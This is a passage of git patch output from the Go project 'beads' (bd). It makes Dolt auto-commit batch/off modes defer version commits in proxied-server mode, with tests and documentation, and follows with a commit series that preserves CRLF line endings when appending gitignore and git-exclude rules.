+func isReportedExit(err error) bool { + _, reported := exitCodeFromError(err) + return reported +} + func activeWorkspaceNotFoundError() string { return "no active beads workspace found" } diff --git a/cmd/bd/history_remote_frontdoor_matrix_test.go b/cmd/bd/history_remote_frontdoor_matrix_test.go index abe671b8d..f6fb56cbf 100644 --- a/cmd/bd/history_remote_frontdoor_matrix_test.go +++ b/cmd/bd/history_remote_frontdoor_matrix_test.go @@ -76,7 +76,6 @@ func TestHistoryRemoteRefusalFrontDoorMatrix(t *testing.T) { {"flatten", "proxy.flatten.unsupported", "flatten is not supported in proxied-server mode", []string{"flatten"}}, {"dolt push", "proxy.dolt_push.unsupported", "dolt push is not supported in proxied-server mode", []string{"dolt", "push"}}, {"dolt pull", "proxy.dolt_pull.unsupported", "dolt pull is not supported in proxied-server mode", []string{"dolt", "pull"}}, - {"dolt commit", "proxy.dolt_commit.unsupported", "dolt commit is not supported in proxied-server mode", []string{"dolt", "commit"}}, {"dolt remote add", "proxy.dolt_remote.unsupported", "dolt remote add is not supported in proxied-server mode", []string{"dolt", "remote", "add", "backup", "https://example.invalid/backup"}}, {"dolt remote list", "proxy.dolt_remote.unsupported", "dolt remote list is not supported in proxied-server mode", []string{"dolt", "remote", "list"}}, {"dolt remote reset-data", "proxy.dolt_remote.unsupported", "dolt remote reset-data is not supported in proxied-server mode", []string{"dolt", "remote", "reset-data", "backup"}}, @@ -340,8 +339,10 @@ func startHistoryUnixBridge(t *testing.T, endpoint, upstreamPort string) *exec.C } } -// TestHistoryRemoteSupportedFrontDoorParity checks the two operations that -// are intentionally shared by direct and proxied providers. +// TestHistoryRemoteSupportedFrontDoorParity checks the operations that are +// intentionally shared by direct and proxied providers: history --events, +// dolt remote remove, and dolt commit (the flush point dolt.auto-commit=batch/off +// defers to, GH#4995). func TestHistoryRemoteSupportedFrontDoorParity(t *testing.T) { if os.Getenv("BEADS_TEST_PROXIED_SERVER") != "1" && os.Getenv(managedLocalProxiedEnvVar) != "1" { t.Skip("set a proxied test lane to run history parity") @@ -376,6 +377,13 @@ func TestHistoryRemoteSupportedFrontDoorParity(t *testing.T) { if err != nil || !strings.Contains(string(out), "backup") { t.Fatalf("remote remove failed: %v\n%s", err, out) } + // dolt commit must pass the front door rather than be refused. Exact + // commit semantics are pinned by + // TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce. + out, err = bdProxiedRun(t, bd, p.dir, "--json", "dolt", "commit") + if err != nil || strings.Contains(string(out), "proxy.dolt_commit.unsupported") { + t.Fatalf("dolt commit refused or failed: %v\n%s", err, out) + } }) } } diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 6d374979e..834cd0e7b 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -890,7 +890,7 @@ func init() { rootCmd.PersistentFlags().BoolVar(&sandboxMode, "sandbox", false, "Sandbox mode: disables Dolt auto-push") rootCmd.PersistentFlags().BoolVar(&readonlyMode, "readonly", false, "Read-only mode: block write operations (for worker sandboxes)") rootCmd.PersistentFlags().BoolVar(&globalFlag, "global", false, "Use the global shared-server database (beads_global)") - rootCmd.PersistentFlags().StringVar(&doltAutoCommit, "dolt-auto-commit", "", "Dolt auto-commit policy (off|on|batch). 'on': commit after each write. 'batch': defer commits to bd dolt commit; uncommitted changes persist in the working set until then (a live batch-mode bd process also flushes on SIGTERM/SIGHUP). Applies to embedded and direct SQL-server modes; proxied-server routes are unaffected. Default: on. Override via config key dolt.auto-commit") + rootCmd.PersistentFlags().StringVar(&doltAutoCommit, "dolt-auto-commit", "", "Dolt auto-commit policy (off|on|batch). 'on': commit after each write. 'batch': defer commits to bd dolt commit; uncommitted changes persist in the working set until then (a live batch-mode bd process also flushes on SIGTERM/SIGHUP, except in proxied-server mode, where bd dolt commit is the only flush point). In proxied-server mode the deferral covers the writes the CLI makes on that route, including config and version metadata; explicit commit points (bd batch, bd mol bond/pour/squash, bd mol wisp create, and the wisp half of bd mol burn) still commit, and a bd serve process on the same database is unaffected. Default: on. Override via config key dolt.auto-commit") rootCmd.PersistentFlags().BoolVar(&cpuProfileEnabled, "cpu-profile", false, "Generate CPU profile for performance analysis") rootCmd.PersistentFlags().StringVar(&memProfilePath, "mem-profile", "", "Write heap profile to FILE on exit (also respects BEADS_MEM_PROFILE)") rootCmd.PersistentFlags().BoolVarP(&verboseFlag, "verbose", "v", false, "Enable verbose/debug output") @@ -1827,6 +1827,16 @@ var rootCmd = &cobra.Command{ } uowProvider = wireExternalDependencyUOWProvider(uow.NewNotifyingProvider(p, uowSinks)) + // Honor dolt.auto-commit for proxied writes the same way + // issueOpsContext already does for the direct/SQL-server routes + // (bd-4wamg): batch/off defer the Dolt version commit rather than + // minting one per write (GH#4995). uow.issueOperations reads this + // off the context for every Create/Update/Close/Reopen it runs. + rootCtx, err = issueOpsContext(rootCtx) + if err != nil { + return HandleError("failed to resolve dolt auto-commit policy: %v", err) + } + if !previewMode { reconcileVersionProxiedServer(rootCtx) } diff --git a/cmd/bd/mol_proxied_server.go b/cmd/bd/mol_proxied_server.go index bb28a2d74..efb2e1cd0 100644 --- a/cmd/bd/mol_proxied_server.go +++ b/cmd/bd/mol_proxied_server.go @@ -27,6 +27,9 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { if uowProvider == nil { return HandleError("proxied-server UOW provider not initialized") } + // Explicit commit point, like the `transact` in cloneSubgraph the direct + // route reaches through spawnMolecule (GH#4995). + ctx = explicitCommitPointContext(ctx) vars, err := parseVarFlags(in.varFlags) if err != nil { @@ -372,6 +375,9 @@ func runMolBondProxiedServer(ctx context.Context, in molBondInput) error { if uowProvider == nil { return HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Explicit commit point, like `transact` in bondProtoMol/bondMolecules on + // the direct route (GH#4995). + ctx = explicitCommitPointContext(ctx) if in.dryRun { uw, err := proxiedOpenReadUOW(ctx) @@ -446,6 +452,9 @@ func runMolSquashProxiedServer(ctx context.Context, in molSquashInput) error { if uowProvider == nil { return HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Explicit commit point, like `transact` in runMolSquash on the direct + // route (GH#4995). + ctx = explicitCommitPointContext(ctx) if in.dryRun { uw, err := proxiedOpenReadUOW(ctx) @@ -516,6 +525,15 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b if uowProvider == nil { return HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Only the wisp half is an explicit commit point, so the exemption is + // applied per commit site below rather than to this ctx (GH#4995). + // runMolBurn splits on the direct route: wisps go through burnWisps -> + // `transact`, which mints the commit whatever dolt.auto-commit says, while + // persistent molecules go through deleteBatch -> issueOpsContext, the + // policy-honoring class — dolt's deleter returns before DOLT_COMMIT when + // that context defers. Exempting the whole command would mint one commit + // per persistent molecule under batch/off, on a destructive verb, where the + // identical direct-route command defers them all to `bd dolt commit`. uw, err := proxiedOpenReadUOW(ctx) if err != nil { @@ -617,7 +635,8 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b } if len(wispIDs) > 0 { - result, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*BurnResult, string, error) { + // The wisp half's direct twin is burnWisps -> `transact`. + result, err := uow.RunTxResult(explicitCommitPointContext(ctx), uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*BurnResult, string, error) { r, err := burnWispsInto(ctx, newUOWMolWriter(uw), wispIDs, actor) if err != nil { return nil, "", err @@ -635,6 +654,10 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b } for _, id := range persistentIDs { + // No exemption: the persistent half's direct twin is deleteBatch -> + // issueOpsContext, so this stays on the inherited policy context and + // the message is blanked under batch/off, exactly as the direct route + // leaves these deletions in the working set for `bd dolt commit`. result, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (BurnResult, string, error) { subgraph, err := loadTemplateSubgraph(ctx, newUOWMolWriter(uw), id) if err != nil { diff --git a/cmd/bd/proxied_maintenance.go b/cmd/bd/proxied_maintenance.go index d41bc8ba0..867f703ea 100644 --- a/cmd/bd/proxied_maintenance.go +++ b/cmd/bd/proxied_maintenance.go @@ -13,7 +13,10 @@ func runProxiedNonTx(ctx context.Context, fn func(ctx context.Context, conn *sql } mp, ok := uowProvider.(uow.MaintenanceProvider) if !ok { - return HandleErrorRespectJSON("proxied-server provider does not support maintenance operations") + // The %T is the whole diagnostic: every wrapper in the proxied chain + // forwards RunNonTx with a compile-time assertion, so reaching this + // means a new decorator dropped it, and its type names the culprit. + return HandleErrorRespectJSON("proxied-server provider %T does not support maintenance operations", uowProvider) } return mp.RunNonTx(ctx, fn) } diff --git a/cmd/bd/vc.go b/cmd/bd/vc.go index a10a81cfe..360b2c2cf 100644 --- a/cmd/bd/vc.go +++ b/cmd/bd/vc.go @@ -179,7 +179,10 @@ Examples: SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { if usesProxiedServer() { - return HandleErrorRespectJSON("vc commit is not supported in proxied-server mode") + // There IS a commit point on this route now — `bd dolt commit` + // is the proxied flush point dolt.auto-commit=batch/off defers + // to (GH#4995) — so name it rather than leaving a dead end. + return HandleErrorRespectJSON("vc commit is not supported in proxied-server mode; use 'bd dolt commit' instead") } evt := metrics.NewCommandEvent("vc-commit") defer func() { diff --git a/cmd/bd/wisp_proxied_server.go b/cmd/bd/wisp_proxied_server.go index 25562faad..b05792e69 100644 --- a/cmd/bd/wisp_proxied_server.go +++ b/cmd/bd/wisp_proxied_server.go @@ -20,6 +20,12 @@ func runWispCreateProxiedServer(ctx context.Context, in wispCreateInput) error { if uowProvider == nil { return HandleError("proxied-server UOW provider not initialized") } + // Explicit commit point, like the `transact` in cloneSubgraph the direct + // route reaches through spawnMoleculeWithOptions (GH#4995). The wisp tables + // are dolt_ignored, so the commit this preserves is whatever tracked rows + // the spawn touches — the class membership is what matters here, not the + // size of the commit. + ctx = explicitCommitPointContext(ctx) vars, err := parseVarFlags(in.varFlags) if err != nil { diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 8b14367dc..ede764765 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -106,7 +106,7 @@ Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `passwor | `agent.profile` | — | `BD_AGENT_PROFILE` | `conservative` | Policy profile `bd prime` uses for git/commit authority: `conservative`, `minimal`, `team-maintainer`; invalid values fall back to `conservative` | | `prime.max-memories` | `--max-memories` | `BD_PRIME_MAX_MEMORIES` | `0` | Max persistent memories injected by `bd prime` (0 = unlimited) | | `prime.max-memory-chars` | `--max-memory-chars` | `BD_PRIME_MAX_MEMORY_CHARS` | `0` | Max total bytes of memory entries injected by `bd prime`, at whole-memory boundaries (0 = unlimited) | -| `dolt.auto-commit` | `--dolt-auto-commit` | `BD_DOLT_AUTO_COMMIT` | `on` | Create a Dolt history commit after each successful write (see [below](#auto-commit-sql-commits-vs-dolt-commits)) | +| `dolt.auto-commit` | `--dolt-auto-commit` | `BD_DOLT_AUTO_COMMIT` | `on` | `off\|on\|batch`: `on` creates a Dolt history commit after each successful write; `batch`/`off` defer it to `bd dolt commit` (see [below](#auto-commit-sql-commits-vs-dolt-commits)) | | `dolt.auto-push` | — | `BD_DOLT_AUTO_PUSH` | `false` | Auto-push to Dolt remote after writes (opt-in; see [below](#auto-push)) | | `dolt.auto-push-interval` | — | `BD_DOLT_AUTO_PUSH_INTERVAL` | `5m` | Minimum time between auto-pushes | | `dolt.auto-push-timeout` | — | `BD_DOLT_AUTO_PUSH_TIMEOUT` | `30s` | Timeout for a single auto-push attempt | @@ -196,6 +196,26 @@ dolt: auto-commit: off ``` +`batch` and `off` defer the Dolt history commit instead of skipping the write: the change is +still durable in the working set, and `bd dolt commit` records the accumulated batch as a single +Dolt commit. This applies on every storage mode — embedded, direct SQL-server, and +proxied-server. In proxied-server mode the deferral covers the writes the CLI makes on that +route, including workspace config and version metadata, and `bd dolt commit` is the only flush +point there: the SIGTERM/SIGHUP flush of a live batch-mode process needs an open store, which +proxied mode never has (it does run in embedded and direct SQL-server modes). + +Two kinds of write stay outside the deferral, in every mode: + +- **Explicit commit points** — `bd batch` (whose commit message defaults to a synthesized one + when `-m` is absent, so every batch commits), `bd mol bond`, `bd mol pour`, `bd mol squash`, + `bd mol wisp create`, and the wisp half of `bd mol burn` — commit what they wrote, with the + message they were given: the commit is that command's contract rather than auto-commit + policy. Burning a *persistent* molecule is an ordinary delete, so it honors the policy and + defers with everything else. +- **Writes made by a `bd serve` process**, whose HTTP API requests carry their own context + instead of the CLI's, so a daemon keeps committing per write even while the CLI on the same + database defers. + ### Auto-backup Periodic Dolt-native backup to `.beads/backup/` provides a recovery path independent of the live database. Local Dolt commits (via `dolt.auto-commit`) remain the primary safety net; backup is a secondary layer. Unlike `bd export` or `.beads/issues.jsonl`, this is a full database backup: it preserves tables, branches, commit history, and working-set data. diff --git a/internal/storage/issueops/version_commit.go b/internal/storage/issueops/version_commit.go index dc17814ed..1abd8a4ff 100644 --- a/internal/storage/issueops/version_commit.go +++ b/internal/storage/issueops/version_commit.go @@ -19,6 +19,18 @@ func WithDeferredVersionCommit(ctx context.Context) context.Context { return context.WithValue(ctx, deferVersionCommitKey{}, true) } +// WithImmediateVersionCommit returns a context that creates its Dolt version +// commit even when an ancestor context deferred it. +// +// A route that applies the deferral once, for every command it dispatches — +// the proxied-server CLI sets it on the root context (GH#4995) — needs this to +// re-express the exemption the per-verb routes get by not being wrapped at all: +// an explicit commit point ("commit these writes now, with this message") is +// not a write whose versioning is policy, so it must not inherit the deferral. +func WithImmediateVersionCommit(ctx context.Context) context.Context { + return context.WithValue(ctx, deferVersionCommitKey{}, false) +} + // VersionCommitDeferred reports whether ctx defers version commits. func VersionCommitDeferred(ctx context.Context) bool { deferred, _ := ctx.Value(deferVersionCommitKey{}).(bool) diff --git a/internal/storage/uow/doltserver_tx.go b/internal/storage/uow/doltserver_tx.go index 616b7880d..a97cf8036 100644 --- a/internal/storage/uow/doltserver_tx.go +++ b/internal/storage/uow/doltserver_tx.go @@ -34,13 +34,28 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { if t.done { return errors.New("uow: commit: already done") } + // dolt.auto-commit=batch/off (GH#4995): defer the Dolt version commit to a + // later explicit commit point (bd dolt commit), the same as the embedded + // and direct SQL-server backends already do at their own commit sites + // (bd-4wamg) — persist the write into the working set via a plain SQL + // COMMIT below, without minting Dolt history, regardless of what message + // the caller named. issueOpsContext sets this on the context before the + // proxied CLI dispatch opens its unit of work. + if message != "" && issueops.VersionCommitDeferred(ctx) { + message = "" + } // An empty message selects the EPHEMERAL commit form (bd-aq0ql): a plain // SQL COMMIT persists the transaction's writes into the working set - // without minting a Dolt commit or history. This exists for work that - // touches ONLY dolt_ignored state — today the leases table (bd-lrgn1), - // whose heartbeats must never create commits — and is only reachable via - // uow.RunTxEphemeral: RunTx/RunTxResult treat an empty commitMsg as - // "nothing to commit" and never call Commit at all. + // without minting a Dolt commit or history. It has two entry points: + // + // - uow.RunTxEphemeral, for work that touches ONLY dolt_ignored state — + // today the leases table (bd-lrgn1), whose heartbeats must never create + // commits. RunTx/RunTxResult treat an empty commitMsg as "nothing to + // commit" and never call Commit at all, so they cannot reach it that way. + // - RunTx/RunTxResult under a deferred-version-commit context, via the + // blanking just above (GH#4995). There the writes are ordinary versioned + // rows and the ONLY-dolt_ignored-state rationale does not apply: the + // working set is meant to hold them until the explicit flush point. stmt, args := "CALL DOLT_COMMIT('-Am', ?);", []interface{}{message} if message == "" { stmt, args = "COMMIT;", nil diff --git a/internal/storage/uow/doltserver_tx_test.go b/internal/storage/uow/doltserver_tx_test.go index 464a53494..036291ba8 100644 --- a/internal/storage/uow/doltserver_tx_test.go +++ b/internal/storage/uow/doltserver_tx_test.go @@ -20,6 +20,7 @@ import ( "testing" "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/storage/issueops" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) @@ -202,3 +203,85 @@ func TestDoltServerTxEphemeralCommitSkipsPendingCheck(t *testing.T) { require.NoError(t, err) require.NoError(t, mock.ExpectationsWereMet()) } + +// TestDoltServerTxCommitDefersDoltCommitUnderDeferredContext pins GH#4995: +// dolt.auto-commit=batch/off marks the context with WithDeferredVersionCommit. +// doltServerTx.Commit must blank the commit message, bypassing DOLT_COMMIT +// and the HasPendingChanges dolt_status check, and executing a plain COMMIT +// to persist writes into the working set without advancing Dolt history. +func TestDoltServerTxCommitDefersDoltCommitUnderDeferredContext(t *testing.T) { + for _, tc := range []struct { + name string + deferred bool + }{ + {name: "on (not deferred)", deferred: false}, + {name: "batch or off (deferred)", deferred: true}, + } { + t.Run(tc.name, func(t *testing.T) { + p, mock := newMockTxProvider(t) + mock.ExpectExec("START TRANSACTION").WillReturnResult(sqlmock.NewResult(0, 0)) + if tc.deferred { + // With deferred version commit (GH#4995), the non-empty message is blanked, + // skipping DOLT_COMMIT and executing plain COMMIT without status check. + mock.ExpectExec(matchPlainCommit).WillReturnResult(sqlmock.NewResult(0, 0)) + } else { + expectPendingChanges(mock, 1) + mock.ExpectExec("DOLT_COMMIT").WithArgs("bd: real write").WillReturnResult(sqlmock.NewResult(0, 1)) + } + + tx, err := p.BeginTx(context.Background()) + require.NoError(t, err) + + ctx := context.Background() + if tc.deferred { + ctx = issueops.WithDeferredVersionCommit(ctx) + } + + err = tx.Commit(ctx, "bd: real write") + require.NoError(t, err) + require.NoError(t, mock.ExpectationsWereMet()) + assert.Equal(t, 1, p.db.Stats().OpenConnections, "session must cleanly return to pool") + }) + } +} + +// TestDoltServerTxCommitHonorsImmediateVersionCommit pins the other half of the +// GH#4995 policy: the proxied route applies the deferral ONCE, to the root +// context, so the explicit commit points — the duals whose direct-route twin +// calls transact and mints a Dolt commit whatever dolt.auto-commit says — opt +// back out with issueops.WithImmediateVersionCommit. The caller's message must +// then survive all the way to DOLT_COMMIT; blanking it would persist the rows +// and record nothing, which is what `bd batch -m` must never do. +func TestDoltServerTxCommitHonorsImmediateVersionCommit(t *testing.T) { + p, mock := newMockTxProvider(t) + mock.ExpectExec("START TRANSACTION").WillReturnResult(sqlmock.NewResult(0, 0)) + expectPendingChanges(mock, 1) + mock.ExpectExec("DOLT_COMMIT").WithArgs("bd: batch 3 ops by tester").WillReturnResult(sqlmock.NewResult(0, 1)) + + tx, err := p.BeginTx(context.Background()) + require.NoError(t, err) + + // Composed in the order the proxied CLI composes them: the route-wide + // deferral from the pre-run, then the exemption from the dual. + ctx := issueops.WithImmediateVersionCommit(issueops.WithDeferredVersionCommit(context.Background())) + require.NoError(t, tx.Commit(ctx, "bd: batch 3 ops by tester")) + require.NoError(t, mock.ExpectationsWereMet()) + assert.Equal(t, 1, p.db.Stats().OpenConnections, "session must cleanly return to pool") +} + +// TestDoltServerTxRunTxWithDeferredContextSkipsDoltCommit verifies that a complete +// unit of work executed via RunTx under deferred version commit commits via plain +// COMMIT and succeeds without advancing Dolt history (GH#4995). +func TestDoltServerTxRunTxWithDeferredContextSkipsDoltCommit(t *testing.T) { + p, mock := newMockTxProvider(t) + mock.ExpectExec("START TRANSACTION").WillReturnResult(sqlmock.NewResult(0, 0)) + mock.ExpectExec(matchPlainCommit).WillReturnResult(sqlmock.NewResult(0, 0)) + + ctx := issueops.WithDeferredVersionCommit(context.Background()) + err := RunTx(ctx, p, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "bd: update GH#4995", nil + }) + require.NoError(t, err) + require.NoError(t, mock.ExpectationsWereMet()) + assert.Equal(t, 1, p.db.Stats().OpenConnections) +} From 5ecc9b0a41749f80e493ad1afe00113ffdeb30b5 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Sun, 27 Sep 2026 02:34:19 -0600 Subject: [PATCH 140/624] refactor(init): retire the unused global-ignore writer (#6452) * fix(gitignore): preserve CRLF when appending project rules (saa-cgh.96) Reported by bee-ghosttrack in gastownhall/beads#6343. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): pin detector edge cases and clarify append behavior (saa-cgh.96) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): preserve line endings in Git exclude appends (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): share append byte composition (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): clarify exclude fixture path variable (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(gitignore): explain append aliasing and trailing CR completion (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): refuse exclude writes after read errors (saa-cgh.110) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): use shared composition for exclude rules (saa-cgh.111) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): omit the empty exclude leading separator (saa-cgh.112) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): refuse unreadable global ignore files (saa-cgh.115) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): own global ignore fixture working directory (saa-cgh.115) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): preserve line endings in global ignore appends (saa-cgh.116) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): cover dangling global ignore symlinks (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Use a literal CRLF fixture for global ignore composition (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * refactor(init): retire the unused global-ignore writer (saa-cgh.120.5) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell --- .github/workflows/pr.yml | 1 + cmd/bd/doctor/gitignore.go | 22 ++-- cmd/bd/doctor/gitignore_test.go | 45 ++++++++ cmd/bd/init_stealth.go | 136 ++--------------------- cmd/bd/init_stealth_test.go | 133 ++++++++++++++++++++++ cmd/bd/init_test.go | 90 --------------- internal/gitignore/append.go | 41 +++++++ internal/gitignore/append_test.go | 55 +++++++++ internal/storage/domain/fs/beads.go | 18 ++- internal/storage/domain/fs/beads_test.go | 45 ++++++++ scripts/ci_workflow_test.go | 23 ++++ 11 files changed, 369 insertions(+), 240 deletions(-) create mode 100644 internal/gitignore/append.go create mode 100644 internal/gitignore/append_test.go diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index cea20a971..36d7d0d96 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -728,6 +728,7 @@ jobs: - name: Run PR core wrapper env: + BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION: '1' BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure GOCACHE: ${{ runner.temp }}/go-cache/race run: make ci-pr-core diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index 1a3c0b54f..ccdb28bdd 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -6,6 +6,8 @@ import ( "os/exec" "path/filepath" "strings" + + "github.com/steveyegge/beads/internal/gitignore" ) // GitignoreTemplate is the canonical .beads/.gitignore content @@ -768,13 +770,12 @@ func CheckProjectGitignore(repoPath string) DoctorCheck { func EnsureProjectGitignore(repoPath string) error { gitignorePath := filepath.Join(repoPath, ".gitignore") - var existingContent string // #nosec G304 -- path is hardcoded - if content, err := os.ReadFile(gitignorePath); err == nil { - existingContent = string(content) - } else if !os.IsNotExist(err) { + content, err := os.ReadFile(gitignorePath) + if err != nil && !os.IsNotExist(err) { return fmt.Errorf("failed to read .gitignore: %w", err) } + existingContent := string(content) var toAdd []string for _, pattern := range ProjectGitignorePatterns { @@ -787,18 +788,11 @@ func EnsureProjectGitignore(repoPath string) error { return nil // All patterns already present } - newContent := existingContent - if len(newContent) > 0 && !strings.HasSuffix(newContent, "\n") { - newContent += "\n" - } - - newContent += "\n" + ProjectGitignoreHeader + "\n" - for _, pattern := range toAdd { - newContent += pattern + "\n" - } + lines := append([]string{"", ProjectGitignoreHeader}, toAdd...) + newContent := gitignore.AppendLines(content, lines) // #nosec G306 -- gitignore needs to be readable by git and collaborators - if err := os.WriteFile(gitignorePath, []byte(newContent), 0644); err != nil { + if err := os.WriteFile(gitignorePath, newContent, 0644); err != nil { return fmt.Errorf("failed to write .gitignore: %w", err) } diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index d776a4c8d..0a968292f 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -1967,6 +1967,51 @@ func TestEnsureProjectGitignore_AppendsToExisting(t *testing.T) { } } +func TestEnsureProjectGitignore_PreservesAppendLineEndings(t *testing.T) { + lfBlock := "\n" + ProjectGitignoreHeader + "\n" + strings.Join(ProjectGitignorePatterns, "\n") + "\n" + crlfBlock := "\r\n" + ProjectGitignoreHeader + "\r\n" + strings.Join(ProjectGitignorePatterns, "\r\n") + "\r\n" + partial := ProjectGitignoreHeader + "\r\n" + ProjectGitignorePatterns[0] + "\r\n" + remaining := "\r\n" + ProjectGitignoreHeader + "\r\n" + strings.Join(ProjectGitignorePatterns[1:], "\r\n") + "\r\n" + complete := ProjectGitignoreHeader + "\r\n" + strings.Join(ProjectGitignorePatterns, "\r\n") + for _, tc := range []struct { + name, existing, want string + }{ + {"empty", "", lfBlock}, + {"delimiter-free", "local", "local\n" + lfBlock}, + {"LF", "local\n", "local\n" + lfBlock}, + {"CRLF", "local\r\n", "local\r\n" + crlfBlock}, + {"CRLF unterminated", "local\r\nlast", "local\r\nlast\r\n" + crlfBlock}, + {"CRLF trailing CR", "local\r\nlast\r", "local\r\nlast\r\n" + crlfBlock}, + {"LF trailing CR", "local\nlast\r", "local\nlast\r\n" + lfBlock}, + {"only trailing CR", "local\r", "local\r\n" + lfBlock}, + {"mixed majority CRLF", "a\r\nb\r\nc\n", "a\r\nb\r\nc\n" + lfBlock}, + // Re-emitting an existing header is pre-existing behavior, preserved here. + {"partial with header", partial, partial + remaining}, + {"complete unterminated", complete, complete}, + {"complete CRLF", complete + "\r\n", complete + "\r\n"}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".gitignore") + if err := os.WriteFile(path, []byte(tc.existing), 0600); err != nil { + t.Fatal(err) + } + for call := 1; call <= 2; call++ { + if err := EnsureProjectGitignore(dir); err != nil { + t.Fatalf("call %d: %v", call, err) + } + got, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if string(got) != tc.want { + t.Fatalf("call %d: got bytes %q, want %q", call, got, tc.want) + } + } + }) + } +} + func TestEnsureProjectGitignore_Idempotent(t *testing.T) { tmpDir := t.TempDir() oldDir, err := os.Getwd() diff --git a/cmd/bd/init_stealth.go b/cmd/bd/init_stealth.go index fd1394718..7117c801d 100644 --- a/cmd/bd/init_stealth.go +++ b/cmd/bd/init_stealth.go @@ -10,6 +10,7 @@ import ( "github.com/steveyegge/beads/cmd/bd/doctor" "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/gitignore" "github.com/steveyegge/beads/internal/ui" ) @@ -105,9 +106,13 @@ func addExcludePatterns(repoPath, header string, patterns []string) (added []str } var existing string + var content []byte // #nosec G304 - git config path - if content, rerr := os.ReadFile(excludePath); rerr == nil { + if readContent, rerr := os.ReadFile(excludePath); rerr == nil { + content = readContent existing = string(content) + } else if !os.IsNotExist(rerr) { + return nil, excludePath, fmt.Errorf("failed to read git exclude file: %w", rerr) } for _, p := range patterns { @@ -120,17 +125,14 @@ func addExcludePatterns(repoPath, header string, patterns []string) (added []str return nil, excludePath, nil } - newContent := existing - if len(newContent) > 0 && !strings.HasSuffix(newContent, "\n") { - newContent += "\n" - } - newContent += "\n" + header + "\n" - for _, p := range added { - newContent += p + "\n" + lines := []string{header} + if len(content) > 0 { + lines = []string{"", header} } + newContent := gitignore.AppendLines(content, append(lines, added...)) // #nosec G306 - config file needs 0644 - if err = os.WriteFile(excludePath, []byte(newContent), 0644); err != nil { + if err = os.WriteFile(excludePath, newContent, 0644); err != nil { return nil, excludePath, fmt.Errorf("failed to write git exclude file: %w", err) } return added, excludePath, nil @@ -359,119 +361,3 @@ func promptForkExclude(upstreamURL string, quiet bool) (bool, error) { // Default to yes (empty or "y" or "yes") return response == "" || response == "y" || response == "yes", nil } - -// setupGlobalGitIgnore configures global gitignore to ignore beads and claude files for a specific project -// DEPRECATED: This function uses absolute paths which don't work in gitignore (GitHub #704). -// Use setupGitExclude instead for new code. -func setupGlobalGitIgnore(homeDir string, projectPath string, verbose bool) error { - // Check if user already has a global gitignore file configured - cmd := exec.Command("git", "config", "--global", "core.excludesfile") - output, err := cmd.Output() - - var ignorePath string - - if err == nil && len(output) > 0 { - // User has already configured a global gitignore file, use it - ignorePath = strings.TrimSpace(string(output)) - - // Expand tilde if present (git config may return ~/... which Go doesn't expand) - if strings.HasPrefix(ignorePath, "~/") { - ignorePath = filepath.Join(homeDir, ignorePath[2:]) - } else if ignorePath == "~" { - ignorePath = homeDir - } - - if verbose { - fmt.Printf("Using existing configured global gitignore file: %s\n", ignorePath) - } - } else { - // No global gitignore file configured, check if standard location exists - configDir := filepath.Join(homeDir, ".config", "git") - standardIgnorePath := filepath.Join(configDir, "ignore") - - if _, err := os.Stat(standardIgnorePath); err == nil { - // Standard global gitignore file exists, use it - // No need to set git config - git automatically uses this standard location - ignorePath = 